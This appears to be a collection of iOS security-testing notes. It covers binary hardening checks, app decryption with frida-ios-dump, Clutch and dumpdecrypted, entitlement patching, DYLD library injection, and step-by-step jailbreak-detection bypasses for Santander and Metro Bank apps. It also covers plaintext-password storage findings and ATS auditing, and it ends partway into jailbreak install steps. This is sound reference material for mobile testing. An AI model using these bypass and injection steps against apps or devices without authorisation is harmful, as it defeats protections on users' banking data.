We can check for the presence of the `PIE` flag in our executable with `otool`:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.25.18-1.png)

Note the usage of `otool`'s `-h` and `-v` options:

```
~ otool
	...
	-h print the mach header
	-v print verbosely (symbolically) when possible
```

If this flag is not present in the binary, then you need to review your compilation settings.

First, ensure that `"Don't Create Position Independent Executables"`  under `"Build Settings"` is set to `NO`:

![](https://inesmartins.github.io/content/images/2021/08/rHGq2.png)<https://stackoverflow.com/questions/32728783/why-would-xcode-not-use-the-build-configuration-settings-from-my-xcconfig-file>

Then, check that these flags are set:

* In `Other C flags`: `-fPIC`
* In `Other Warning flags`: `-Wl,--emit-relocs` (retains all relocations in the executable file) and `-Wl,--warn-shared-textrel` (warns if the text segment is not shareable).

### Stack Canary <a href="#stack-canary" id="stack-canary"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.19.33.png)

Again we can use `otool` to check whether a binary is using stack canaries by looking for some specific symbols, such as `_stack_chk_guard` and `_stack_chk_fail`:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-10.44.30.png)

Note the usage of `otool`'s `-I` and `-v` flags:

```
~ otool
	...
	-I print the indirect symbol table
	-v print verbosely (symbolically) when possible
```

If the stack canary is not present, you need to ensure that the `-fstack-protector-all` flag is set under `"Other C Flags"`, on your project's `"Build Settings"` tab, as shown below:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-22.50.58.png)

### Rpath <a href="#rpath" id="rpath"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.15.58.png)

The "Runpath Search Path" instructs the dynamic linker to search for a dynamic library (dylib) on an ordered list of paths ... sort of like how Unix looks for binaries on `$PATH`.

This is an issue because it makes it possible for an attacker to place a malicious dylib in one of the first paths that doesn't contain the library that the linker is trying to locate, therefore hijacking it.

A simple way to check whether or not your application's libraries were compiled using `rpath` is to run `otool` with the `-L` flag, which lists all Mach-O Shared Libraries:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-21.28.28-1.png)

Note that some of the libraries are prefixed with `@rpath`, while others are prefixed by the absolute path.

Also, if you already have access to the full MobSF Static Analysis report, you can simply scroll down to the "Libraries" section and check which are prefixed by `@rpath`:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-21.27.32.png)

If your application uses the [Swift Package Manager](https://www.swift.org/package-manager/), in order to compile the libraries without `rpath` you need to use some hidden build flags. On your local command line run:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-19-at-19.33.44.png)

Note the swift compiler option `no-stdlib-rpath` which disables `rpath` entries during compilation.

Configure your build settings so that the application is built with this configuration flag, e.g.: `swift build -c release -Xswiftc -no-toolchain-stdlib-rpath`.

Alternatively, if your application uses [Cocoapods](https://cocoapods.org/), you can first check the install directory of the pods:

![](https://inesmartins.github.io/content/images/2022/01/Screenshot-2022-01-13-at-13.15.10.png)

And then use the following configuration on your `Podfile`:

```ruby
post_install do |installer|
  installer.pods_project.targets.each do |target|
    target.build_configurations.each do |config|
      config.build_settings['DYLIB_INSTALL_NAME_BASE'] = <your-install-directory>
    end
  end
end
```

So, the result would looks something like this:

![](https://inesmartins.github.io/content/images/2022/01/Screenshot-2022-01-13-at-13.16.08.png)

### Symbols Stripped <a href="#symbols-stripped" id="symbols-stripped"></a>

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-21-at-20.19.40.png)

From Apple's [Building Your App to Include Debugging Information](https://developer.apple.com/documentation/xcode/building-your-app-to-include-debugging-information):

> When Xcode compiles your source code into machine code, it generates a list of symbols in your app—class names, global variables, and method and function names.\
> These symbols correspond to the file and line numbers where they’re defined; this association creates a *debug symbol*, so you can use the debugger in Xcode, or refer to line numbers reported by a crash report.\
> Debug builds of an app place the debug symbols inside the compiled binary file by default, while **release builds of an app place the debug symbols in a companion&#x20;*****Debug Symbol file*** (`dSYM`) to reduce the size of the distributed app.

So, the good thing about these `dSYM` files is that you can store them separately and then use them to [symbolicate](https://developer.apple.com/documentation/xcode/adding-identifiable-symbol-names-to-a-crash-report) your logs without actually letting the end user have access to them via App Store:

```
~ symbolicatecrash "<path-to-crash-file>" "<path-to-dSYM file>" > symbolicated.crash
```

By default, `dSYM` files are generate for "Release" builds, which you can check by reviewing your `"Build Settings"`:

* `Generate Debug Symbols` = `YES`
* `Debug Information Format` = `DWARF with dSYM File`

A simple way to check whether or not your application was compiled with debug symbols is to again run `otool` with the `-Iv` flags:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-11.32.20.png)

Alternatively, you can use `nm`, which "displays the name list (symbol table) of each  object file in the argument list".

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-11.43.08.png)

If MobSF flags you project as containing debug symbols, please ensure that your project's `"Build Settings"` contain the following `"Release"` configurations:

* `Deployment Postprocessing` = `YES`;
* `Strip Debug Symbols During Copy` = `YES`;
* `Strip Linked Product` = `YES`;
* `Strip Style` = `All Symbols`;
* `Strip Swift Symbols` = `YES`

![](https://inesmartins.github.io/content/images/2022/01/image-1.png)

Finally, note that you can actually manually strip your binary, but as shown below, this invalidates the code signature:

![](https://inesmartins.github.io/content/images/2021/08/Screenshot-2021-08-22-at-11.46.45.png)


# iOS Jailbreak Bypass

## Liberty Lite

Liberty Lite is a jailbreak bypass tweak that can be used for lots of different apps. It works for many, but not all, of the banking apps listed above that have jailbreak detection.

1. Open Cydia on your jailbroken device and tap the ‘Sources’ menu at the bottom.
2. At the top, tap ‘+’ to add a new repo. In the text box, type [`https://ryleyangus.com/rep`](https://ryleyangus.com/repo%E2%80%99)then tap ‘Add Source’.
3. Once the repo has been added, tap on it in the sources list and select ‘All Catagories’. In the list, you should see ‘Liberty Lite (Beta)’.
4. Tap on Liberty Lite (Beta), ‘Get’ then ‘Queue’ followed by ‘Confirm’ to install the tweak. Once installed, you will need to respring your device for it to start working.
5. Open the Settings app and scroll down to the Liberty Lite menu. In here tap ‘Block Jailbreak Detection’, then toggle it on for the app(s) that have jailbreak detection.
6. Close the app in the app switcher if you opened it before turning Liberty Lite on for it.
7. If the bypass works, those app(s) should now be usable.

## **SanTanDick**

The Santander mobile banking app is a little bit more tricky to bypass than most others. Not only does this require an app-specific tweak to be installed, but it also requires an older version of the app.

1. Open Sileo/Cydia on your jailbroken device and tap the ‘Sources’ menu at the bottom.
2. At the top, tap ‘+’ to add a new repo. In the text box, type [`https://test.unlimapps.com`](https://test.unlimapps.com) then tap ‘Add Source’.
3. Once the repo has been added, tap on it in the sources list and select ‘All Catagories’. In the list, you should see ‘App Admin’.
4. Tap on App Admin, ‘Get’ then ‘Queue’ followed by ‘Confirm’ to install the tweak. Once installed, you will need to respring your device for it to start working.
5. Open the App Store and navigate to the Santander Mobile Banking app page. Tap and hold on the ‘Get’ or ‘Open’ button to activate App Admin. When the menu appears, tap ‘Downgrade’.
6. From the list of app versions shown, select ‘4.1.0’. There will be two with this version number and either of them will work. This will downgrade the app to version 4.1.0.
7. Open Sileo/Cydia again and tap the ‘Search’ menu at the bottom.
8. In the search box type ‘Filza File Manager’. Select the first option with a matching name and tap ‘Get’ to queue it for install.
9. Tap the ‘Sources’ menu at the bottom, then at the top, tap ‘+’ to add a new repo. In the text box, type [`https://repo.sparkes.zone`](https://repo.sparkes.zone)then tap ‘Add Source’.
10. Once the repo has been added, tap on it in the sources list and select ‘All Catagories’. In the list, you should see ‘SanTanDick’.
11. Tap on SanTanDick, ‘Get’ then ‘Queue’ followed by ‘Confirm’ to install the tweak and Filza File Manager. Once installed, you will need to respring your device for it to start working.
12. Before the bypass tweak will start working, you need to edit a file in the Santander app. Open the new Filza app and press the back button until it shows ‘/’ at the top.
13. Navigate to `/var/containers/Bundle/Application/Santander/Santander.app`. In here find the `Info.plist` file and tap on it.
14. Tap the ‘Root’ line to expand it. Find the line called `CFBundleShortVersionString` and tap the ⓘ symbol.
15. Change the number in the ‘Value’ text box to `999.999.999`. Tap the back button then ‘Save’ to save the change. This change will allow the bypass tweak to work, and prevent updates from showing in the App Store.
16. You should now be able to use the Santander Mobile Banking app on your jailbroken device!

## **MetroWank**

Metro Bank is a fairly easy jailbreak detection to bypass, but it does require an app-specific tweak to do it.

1. Open Sileo/Cydia on your jailbroken device and tap the ‘Sources’ menu at the bottom.
2. At the top, tap ‘+’ to add a new repo. In the text box, type [`https://repo.sparkes.zone`](https://repo.sparkes.zone) then tap ‘Add Source’.
3. Once the repo has been added, tap on it in the sources list and select ‘All Catagories’. In the list, you should see ‘MetroWank’.
4. Tap on MetroWank, ‘Get’ then ‘Queue’ followed by ‘Confirm’ to install the tweak. Once installed, you will need to respring your device for it to start working.
5. You should now be able to use the Metro Bank app on your jailbroken device!


# Decrypting iOS Apps

**This Writeup belongs to: (its just pasted here for my quick reference, I dont own this writeup)**

{% embed url="<https://fadeevab.com/decrypt-ios-applications-3-methods>" %}

### Scenario <a href="#scenario" id="scenario"></a>

`jailbreak` -> `select tool` -> `dump`

### Instruments <a href="#instruments" id="instruments"></a>

You have 3 options:

1. [frida-ios-decrypt](https://github.com/AloneMonkey/frida-ios-dump) (jump to [How to Use "frida-ios-decrypt](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-use-frida-ios-decrypt)")
2. [Clutch](https://github.com/KJCracks/Clutch) (jump to [How to Use "Clutch"](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-use-clutch))
3. [dumpdecrypted.dylib](https://github.com/AloneMonkey/dumpdecrypted) (jump to [How to Use "dumpdecrypted.dylib"](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-use-dumpdecrypted-dylib))

Additionally, you need SSH (OpenSSH) installed on a jailbroken iPhone to be able to copy dumped files.

### Overview <a href="#overview" id="overview"></a>

An application from Apple App Store is encrypted with a hardware-backed cryptographic scheme. More precisely, an executable section of the O-Mach binary inside the IPA package is encrypted, and the decryption key is accessible only on a particular device on the hardware level (Secure Enclave). But if you wonder whether it is possible to decipher an application downloaded from Apple App Store to carry out static analysis - yes, it is possible.

In the annex, you can find [How To Jailbreak iPhone 12.x](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-jailbreak-iphone-12-x) and [How to Fix Entitlements](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-fix-entitlements).

### How Tools Work <a href="#how-tools-work" id="how-tools-work"></a>

All tools leverage a simple principle: these tools dump a **decrypted** binary from the **running** context in the memory. It is possible because the binary MUST be decrypted before it could be even run, and the binary is dumped into a file.

![iOS Application Decryption (IPA decryption)](https://fadeevab.com/content/images/2019/08/iOsAppDecryptAndDump.png)

You MUST **jailbreak iPhone** to dump decrypted executable region to the filesystem. There is *no way to easily decrypt an application by any kind of magic tool on a personal computer*.

There are 2 approaches to dump deciphered executable region from memory to the filesystem. All of them require superuser privileges either to *trace a process*, or to *inject a dynamic library*.

#### Approach #1: attach to a process <a href="#approach-1-attach-to-a-process" id="approach-1-attach-to-a-process"></a>

[Clutch](https://github.com/KJCracks/Clutch) and [frida-ios-decrypt](https://github.com/AloneMonkey/frida-ios-dump) work this way.

1. The tool (*tracer*) attaches to a running process (*tracee*).
2. The deciphered executable is dumped from the memory into a file.

Step 1 (tracing the process) needs superuser privileges, that's why iPhone must be jailbroken.

#### Approach #2: library injection <a href="#approach-2-library-injection" id="approach-2-library-injection"></a>

[dumpdecrypted.dylib](https://fadeevab.com/p/fb64a114-cbad-4634-afef-19c106aa183d/dumpdecrypted.dylib) works this way (through DYLD\_INSERT\_LIBRARIES).

1. An application starts with a dynamic library linked into it.
2. The dynamic library dumps decrypted executable right from the application user space memory.

Superuser privilege is needed to inject a custom dynamic library into the process memory.

### How to Use "frida-ios-decrypt" <a href="#how-to-use-frida-ios-decrypt" id="how-to-use-frida-ios-decrypt"></a>

#### Prepare USB and SSH <a href="#prepare-usb-and-ssh" id="prepare-usb-and-ssh"></a>

The main script of "frida-ios-decrypt" `dump.py` uses the `frida` package which communicates with the device via **USB**. When the application is successfully dumped, files will have been copied from the device via **SSH** (`scp`) to the temporary folder. To summarize, your iPhone must be accessible via both USB and SSH.

An official guide suggests to set up *SSH over USB*, but that way seems to be a bit complicated. I found the easier way which is to connect an iPhone to your local network (connect to the same WiFi network) and modify `dump.py` as the following to allow the script to connect to the phone directly over your local network:

```python
User = 'root'
Password = 'alpine'
Host = '192.168.88.102' # Fix the Host IP to a real iPhone IP
Port = 22
```

#### Steps <a href="#steps" id="steps"></a>

1. Follow the [frida-ios-dump installation guide](https://github.com/AloneMonkey/frida-ios-dump/).
2. `frida-ios-dump` looks for a device using SSH. Use "SSH over USB" approach, or connect your device to a local network and fix `dump.py` (see Preparation above).
3. List running processes:

   ```bash
   python2 ./frida-ios-dump-master/dump.py -l
   ```
4. Dump the target process:

   ```bash
   python2 ./frida-ios-dump-master/dump.py "TargetApp"
   ```

   or

   ```bash
   python2 ./frida-ios-dump-master/dump.py <pid>
   ```

#### Successful log <a href="#successfullog" id="successfullog"></a>

```
Start the target app TargetApp
Dumping TargetApp to /some/temp/path
[frida-ios-dump]: libswiftUIKit.dylib has been dlopen.
[frida-ios-dump]: libswiftIntents.dylib has been dlopen.
[frida-ios-dump]: libswiftCoreImage.dylib has been dlopen.
...
...A lot of noisy log may follow here
...
Generating "TargetApp.ipa"
```

#### Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>

**Device is not found via USB**

```
Waiting for USB device...
```

Ensure that you installed USB drivers for iPhone.

Also, if you're on Windows Subsystem for Linux (WSL), you would be unable to run "frida-ios-dump", because there is no USB drivers for iPhone under WSL, therefore iPhone cannot be enumerated. (Not sure about WSL 2 though).

**Device is not found via SSH**

Either way, if `dump.py` cannot connect to a device, you will see the following error:

```
*** Caught exception: <class 'socket.error'>: [Errno 11] Resource temporarily unavailable
```

or

```
*** Caught exception: <class 'socket.error'>: [Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
```

Check whether you use a correct IP address in `dump.py` for your iPhone.

1. On iPhone: go to Settings -> WiFi -> (i) -> get the IP.
2. Verify the connection:`ssh root@192.168.88.101`
3. Password: **alpine**

### How to Use "Clutch" <a href="#how-to-use-clutch" id="how-to-use-clutch"></a>

IMPORTANT: On iPhone 12.x you need to [fix entitlements ⬇️](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-fix-entitlements).

1. Build and install the [Clutch](https://fadeevab.com/decrypt-ios-applications-3-methods/) tool.
2. List the processes:

   ```bash
   Clutch -i
   ```
3. Dump the process obtaining decrypted binaries:

   ```bash
   Clutch -d 3
   ```

   "3" is the number of the application from the `Clutch -i` output.

### How to Use "dumpdecrypted.dylib" <a href="#how-to-use-dumpdecrypted-dylib" id="how-to-use-dumpdecrypted-dylib"></a>

IMPORTANT: On iPhone 12.x you need to [fix entitlements ](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-fix-entitlements)➡️[️](https://fadeevab.com/decrypt-ios-applications-3-methods/#how-to-fix-entitlements).

1. Download [dumpdecrypted.dylib](https://github.com/AloneMonkey/dumpdecrypted) to a computer.
2. Copy `dumpdecrypted.dylib` to the system path on the phone via SSH using `scp` tool:

   ```bash
   scp dumpdecrypted.dylib root@192.168.88.101:/usr/lib/dumpdecrypted.dylib
   ```

   Choose a path, kind of `/usr/lib`, not `$HOME`, to evade problems with kernel sandboxing.
3. Run the application with `dumpdecrypted.dylib`:

   ```bash
   DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Containers/Bundle/Application/BFED82A3-3238-4F41-B797-C1CB584CBE05/targetapp/targetapp
   ```

***

### How to Jailbreak iPhone 12.x <a href="#how-to-jailbreak-iphone-12-x" id="how-to-jailbreak-iphone-12-x"></a>

1. Download [Chimera IPA package](https://chimera.sh/).
2. Download [Cydia Impactor](http://www.cydiaimpactor.com/).
3. Deploy Chimera package to iPhone using the Cydia tool (it will ask your Apple ID, it can be ANY free Apple ID).\
   ![Using Cydia To Install Any Package](https://fadeevab.com/content/images/2019/08/UsingCydiaToInstallAnyPackage-1.png)
4. On the iPhone: go to the Chimera and press a button "Jailbreak".\
   ![Chimera Jailbreak](https://fadeevab.com/content/images/2019/08/ChimeraJailbreak-1.PNG)

**Sileo marketplace** app appears after the jailbreak is installed.

1. Go to the Sileo application.
2. Find and install **Frida** and **OpenSSH (sshd).**

![Install OpenSSH in Sileo application](https://fadeevab.com/content/images/2019/08/SileoOpenSshInstall-1.PNG)Install OpenSSH in the Sileo application

### How to Fix Entitlements <a href="#how-to-fix-entitlements" id="how-to-fix-entitlements"></a>

The big advantage of "frida-ios-dump" against the "Clutch" and "dumpdecrypt.dylib" is that it doesn't need to fix entitlements of the target app.

Entitlements are special properties assigned to each application in iOS. Entitlements are signed and basically, it's not possible to change them without a jailbreak.

***In iOS 12.x default entitlements of application don't allow tracing.*** In the case of `Clutch` you are going to see the following error:

```
Could not obtain mach port, either the process is dead (codesign error?) or entitlements were not properly signed!
```

**Steps to fix entitlements:**

1. Dump the current entitlements of the target application:

   ```bash
   ldid -e /var/containers/Bundle/Application/F8809B92-7794-4540-A4E2-0F541D78CF5A/TaretApp.app/TargetApp > ~/targetapp-ent.xml
   ```
2. Fix entitlements adding the following line to `targetapp-ent.xml`:

   ```xml
   <key>platform-application</key>
   <true/>
   <key>get-task-allow</key>
   <true/>
   <key>run-unsigned-code</key>
   <true/>
   <key>com.apple.private.skip-library-validation</key>
   <true/>
   <key>com.apple.private.security.no-container</key>
   <true/>
   ```
3. Assign new entitlements:

   ```bash
   ldid -S~/targetapp-ent.xml /var/containers/Bundle/Applicati
   ```


# iOS Reverse Engineering

{% embed url="<https://habr.com/en/post/595797>" %}

## `ipa` package analysis

`ipa` is essentially a `zip` file.

## `ipa` file root structures

* `iTunes Artwork`--a PNG app icon for showing in iTunes and the App Store.
* `iTunesMetadata.plist`—Contains copyright information, release date, purchase date, name of the developer and company who created it, etc.
* `/Payload/Application.app`

> To repack the `ipa`, simple select the three files and folder listed above and right click and select compress. The `Archive.zip` you get can be install using `ideviceinstaller`. You can also rename the file name you wanted.

> You can also use script.

```
cd <the-directory-that-store-the-three-files-and-folder>
zip -0 -y -r out.ipa .
#or use
zip -0  --symlinks --recurse-paths out.ipa .
# the `out.ipa` is the result
```


# Jailbreak Detection Bypasses

## <mark style="color:orange;">Latest Update: (September 2022 - iOS 14.8)</mark>

### **What is Jailbreak Detection?**

**Jailbreak detection is a coding algorithm that app developers implement to identify if a device running their app is jailbroken. They implement special conditions to verify through the amendments a jailbreak does in the device.**

There are various reasons they implement jailbreak detection mechanisms; those are mentioned below.

* To prevent cheat or hacks in games, especially those allowing in-app purchases.
* Protecting sensitive data in [MDM solutions](https://support.apple.com/guide/deployment/intro-to-mdm-depc0aadd3fe/web).
* Protecting user information in banking apps or any apps, including payment info.

Once the app has such *jailbreak detection* functionality, if it detects the device where it’s installed is jailbroken, it does the following things.

* Notify users and provide access to limited features, sometimes completely restricting the app access.
* Just do not open on a jailbroken device.
* Although the app works, the user is still notified not to use it in a

### **List of** **Bypass Jailbreak Detection Tweaks** **on iPhone**

| Tweak         | Repo                                                         |
| ------------- | ------------------------------------------------------------ |
| iHide         | <https://repo.kc57.com>                                      |
| Choicy        | <https://www.ios-repo-updates.com/repository/opa334-s-repo/> |
| KernBypass    | <https://github.com/akusio/KernBypass-Public>                |
| VNodeBypass   | <https://cydia.ichitaso.com/>                                |
| A-Bypass      | <https://repo.dynastic.co/https://repo.rpgfarm.com/>         |
| Liberty Lite  | <https://ryleyangus.com/repo/>                               |
| Shadow        | <https://ios.jjolano.me/>                                    |
| FlyJB X       | <https://repo.xsf1re.kr/>                                    |
| UnSub         | <https://repo.packix.com/>                                   |
| Hestia HideJB | <https://repo.packix.com/>                                   |

### **Bypass Jailbreak Detection (FAQs)**

#### Is jailbreak Detectable?

Yes, a jailbreak provides access to the things the users are not supposed to, so the malwares and viruses. Therefore popular apps have implemented functionality to detect the jailbroken device. They have put different conditions to detect if the device is jailbroken and stop the app run.

#### What is a-bypass jailbreak?

A-bypass isn't a jailbreak, but a bypass jailbreak detection tweak that lets you use the apps while you're jailbroken which you won't be able to use being in jailbroken state.


# iOS Local Storage Checks

The user password can be found unencrypted in an Sqlite Write-Ahead Log in the applications Data Container on the device:

```normal
/var/mobile/Containers/Data/Application/[UUID]/Documents/MyAPPLICATION.sqlite-wal
```

Based on the frame history in the Write-Ahead Log, the password is inserted temporarily in the `ZUSER` table in plaintext and later gets overwritten by a bcrypt hashed password, but the WAL journal keeps the original commit until it grows to over 1000 pages (which could take some time, depending on user activity) or the user logs out of the application, which deletes data from the database, but until then the password can be read from this file.

Although mandatory 3rd party application sandboxing prevents applications from directly accessing other applications containers, the contents of that directory can be read by the following methods:

* jailbreaking the device
* connecting the phone to a computer and downloading the applications Documents folder with `ios-deploy --download=/Documents --bundle_id com.my.app --to ./myAPP_dumps`

### Remediation:

Always use the iOS Keychain to store sensitive information such as credentials.

Review the code to find where it sets this plaintext password and remove the offending code.

{% embed url="<https://developer.apple.com/documentation/security/keychain_services/keychain_items/using_the_keychain_to_manage_user_secrets>" %}

## Downloading iOS Local Storage Directory of Application Package from Device to Local Machine

We use `-r` for recursively dowloading the whole directory.

```
  scp -r root@192.168.1.18:/private/var/mobile/Containers/Data/Application/<IDENTIFIER> /home/kali/Downloads

```


# Installing IPA

## Install `ipa` using command line

* using `ideviceinstaller` which can be installed using `brew install ideviceinstaller`

```
# list installed app on the connected device
# it also lists the identifier of the installed packages
ideviceinstaller -l

# install ipa
ideviceinstaller -i <your-package.ipa>

# uninstall app
ideviceinstaller -U <your-app-id>
```

### IPA Tool to Pull Universal IPA and then install it:

```
ipatool auth
ipatool purchase -b com.yourpackage.co
ipatool download -b com.yourpackage.co
```


# ATS Auditing

{% hint style="info" %}
**Content taken from** [**https://www.nowsecure.com/blog/2017/08/31/security-analysts-guide-nsapptransportsecurity-nsallowsarbitraryloads-app-transport-security-ats-exceptions/**](https://www.nowsecure.com/blog/2017/08/31/security-analysts-guide-nsapptransportsecurity-nsallowsarbitraryloads-app-transport-security-ats-exceptions/)
{% endhint %}

The .ipa is now unzipped and the `Info.plist` file is converted into a readable format and opened.  Now, locate the “App Transport Security Settings,” and there you will find the current ATS configuration which will look something like this:

```
NSAppTransportSecurity : Dictionary {
    NSAllowsArbitraryLoads : Boolean
    NSAllowsArbitraryLoadsForMedia : Boolean
    NSAllowsArbitraryLoadsInWebContent : Boolean
    NSAllowsLocalNetworking : Boolean
    NSExceptionDomains : Dictionary {
        <domain-name-string> : Dictionary {
            NSIncludesSubdomains : Boolean
            NSExceptionAllowsInsecureHTTPLoads : Boolean
            NSExceptionMinimumTLSVersion : String
            NSExceptionRequiresForwardSecrecy : Boolean   
            NSRequiresCertificateTransparency : Boolean
        }
    }
}
```

There you’ll see the app’s ATS primary and subkeys.  Each key helps developers configure the app’s ATS implementation and make exceptions for domains that can’t support ATS.

### NSAppTransportSecurity configuration keys, subkeys, and exceptions

To help security analysts understand the various ATS exceptions and how they affect the security posture of an iOS app, I’ve described them below.

#### NSAllowArbitraryLoads

The `NSAllowArbitraryLoads` key is set to `NO` by default. Setting the key to `YES` will opt-out of ATS and its associated security benefits.  If in testing an app you find this key set to `YES`, verify why the developers decided to opt out. In addition, check into the `NSExceptionDomains` exception and whether any domains are listed there. We’ve encountered a number of cases where developers have opted out of ATS globally, but then opted in only for certain domains by listing an exception domain. A better approach is to enable ATS globally, and only opt out for certain domains if absolutely necessary (more on that in the NSExceptionDomains section below).

If they key is set to `YES`, spend time verifying:

* The ciphers used for the app’s backend connections (and that they’re strong)
* The protocols used to send and retrieve data (and that they’re secure)
* Whether the app has any downgrade vulnerabilities
* Whether the app validates certificates used for TLS connections

While you should perform testing in these areas regardless of the ATS configuration, a developer setting this key to `YES` increases risks in these areas.

#### NSAllowsLoadsForMedia

This exception is for media content protected by digital rights management (DRM) or encryption.  When the `NSAllowsLoadsForMedia` key is set to `YES`, ATS is disabled for content sent using the [AVFoundation framework](https://developer.apple.com/documentation/avfoundation) (typically the case with apps that include audiovisual recording, editing, or playback functionality). If making sure your app’s media content is sent securely over the network is important to you and this key is enabled, confirm that media sent by the app is free of sensitive content and protected using DRM or encryption. While it’s best practice to implement these protections even if content is transmitted over HTTPS, capturing the transmitted content over HTTP or other insecure protocols is trivial.

#### NSAllowsArbitraryLoadsInWebContent

By default, `NSAllowsArbitraryLoadsInWebContent` is set to `NO`. When the key is set to `YES`, ATS is disabled for webview requests. You would usually see this exception if a webview is used within the app. In that case, you’ll want to assess whether the webview sends sensitive data. That’s because with the key enabled, data can be sent over HTTP or other insecure protocols or connections.

Using webviews can introduce vulnerabilities into an app, so it’s crucial to verify their security. For example, webviews can be vulnerable to a number of common web-based vulnerabilities such as SQL injection, cross-site request forgery, and cross-site scripting attacks.  For additional security information about using webviews, check out our [webviews best practices](https://books.nowsecure.com/secure-mobile-development/en/webviews/).

#### NSAllowsLocalNetworking

`NSAllowsLocalNetworking` is set to `NO` by default. Setting it to `YES` will disable ATS for connections over a local network. Typical use cases for this exception might be apps that connect to a local hardware device in an Internet-of-Things (IoT) scenario. Apps that facilitate local peer-to-peer connections may also use this exception. If you run into this exception when testing an app, replicate the environment within which this local connection would take place to check for sensitive data sent over the local network in an insecure method. Even if an app connects to a local device, a best security practice is to use a TLS connection between those endpoints.

### NSExceptionDomains and subkeys

#### NSExceptionDomains

Using the `NSExceptionDomains` key, developers can configure ATS exceptions on a domain-by-domain basis.  Security analysts should note that ATS subkeys within `NSExceptionDomains` supersede other primary keys.  For example, if an app loads media from a specific domain and both the `NSAllowsLoadsForMedia` exception and a `NSExceptionDomains` configuration is used for that particular domain, the `NSExceptionDomains` subkey parameters supersede the `NSAllowsLoadsForMedia` key parameters.

Security analysts should also note that without additional configuration using the subkeys underneath the primary `NSExceptionDomain` key, connections between the app and a listed domain will enforce ATS on the connection (even with `NSAllowsArbitraryLoads` set to `YES`). Put another way — if an exception domain is listed without any configuration of the subkeys, that domain will receive full ATS protection, even if the `NSAllowsArbitraryLoads` is set to `YES`.  This can complicate analysis because a developer can shut off ATS globally but turn it on for specific domains by listing them within the `NSExceptionDomains` key.

Some developers are tempted to opt-out globally and opt-in for specific domains. However, a better practice is to leave ATS globally enabled for better protection coverage and only exempt domains your organization doesn’t control (the intended use case for the `NSExceptionDomain` key). And even then, only if necessary. Explain to your development team that coding logical ATS subkey exceptions will simplify the justification used for each exception and make life easier in the long run when Apple enforces a deadline.  ATS should be enabled globally, and exceptions to ATS created through the `NSExceptionDomains` subkeys.

If an app you’re testing uses `NSExceptionDomains` and sets `NSAllowsArbitraryLoads` to `YES`, make sure you’re auditing the connections between the app and back-end services. Ideally, the app is only connecting to domains listed in the top-level `NSExceptionDomains` key, without any further configuration in the subkeys (again, effectively opting-into ATS for specific domains).  If there are connections to other domains not in that list, ATS will not be enforced for those domains.

#### NSIncludesSubdomains

By default this key is set to `NO`. When it’s set to `YES`, any ATS configuration enabled for a particular domain will carry through for all subdomains of the exception domain. And, if you set an exception domain, but don’t configure any additional subkeys beyond the `NSIncludesSubdomains` key, the exception domain and its subdomains will use ATS. If you’re testing an app that has this key enabled, approach any subdomains in the same way you would the main domain. In addition, if ATS is globally disabled, and this key is set to `NO`, confirm that the subdomains are not in use in the app.

#### NSExceptionAllowsInsecureHTTPLoads

By default this key is set to `NO`. When this key is set to `YES`, the app will be allowed to send HTTP traffic to that domain.  If you see this key set to `YES`, make sure to take a look at what information is being sent over the network. It may be sent insecurely over HTTP. If information must be sent over HTTP, at least make sure the information sent isn’t sensitive and that all connections are secure.

#### NSExceptionMinimumTLSVersion

This key allows developers to lower the minimum accepted version of TLS.  By default, TLS 1.2 and higher are the accepted versions.  If you see this exception in place, you will want to verify the TLS configuration of that endpoint, the reason why it needed to be lowered, and that it doesn’t violate your own organization’s compliance requirements.

#### NSExceptionRequiresForwardSecrecy

By default this key is set to `YES`.  If this key is set to `NO` it will disable perfect forward secrecy.  Similar to the`NSExceptionMinimumTLSVersion` key, if you encounter this key in an app you’re testing, verify the TLS configuration of the endpoint, the reason why it needs to be lowered, and your own organization’s compliance requirements.

#### NSRequiresCertificateTransparency

By default this key is set to `NO`. If the key is set to `YES`, it will require a Certificate Transparency timestamp on the domain’s certificate.  [Certificate Transparency](https://www.certificate-transparency.org/) is a Google project aimed at making the SSL certificate system more secure.  If your organization or the domain in question supports Certificate Transparency, you’ll want to enable this.  Certificate Transparency helps audit against rogue Certificate Authorities (CAs) and malicious certificates, and it can help prevent man-in-the-middle attacks by notifying DevOps teams if their certificate has been compromised. When this key is enabled, the certificate checks associated with Certificate Transparency will be performed before a connection is made.


# iOS Jailbreaking

***palera1n is a work-in-progress jailbreak that patches the kernel so you can use Sileo and install tweaks. Currently, palera1n is compatible with A11 (iPhone X) and earlier devices on iOS 15 and later, with some major caveats.***

{% embed url="<https://ios.cfw.guide/installing-palera1n/>" %}

### Downloads <a href="#downloads" id="downloads"></a>

The version of [palera1nOpen in new window](https://github.com/palera1n/palera1n/releases) for your OS.

* macOS users should generally get `palera1n-macos-universal`
* Linux users should get whichever version corresponds to the architecture of the computer you're using
  * This will be usually `palera1n-linux-x86_64`. Choose this one if you're unsure.
  * If you're using a 32-bit computer, choose `palera1n-linux-x86`.
  * If you're using an ARM computer (e.g. a Raspberry Pi), choose `palera1n-linux-armel` for 32-bit and `palera1n-linux-arm64` for 64-bit.

### [#](https://ios.cfw.guide/installing-palera1n/#installing-the-jailbreak)Installing the jailbreak <a href="#installing-the-jailbreak" id="installing-the-jailbreak"></a>

Please select your operating system:

macOS

#### Installing palera1n <a href="#installing-palera1n" id="installing-palera1n"></a>

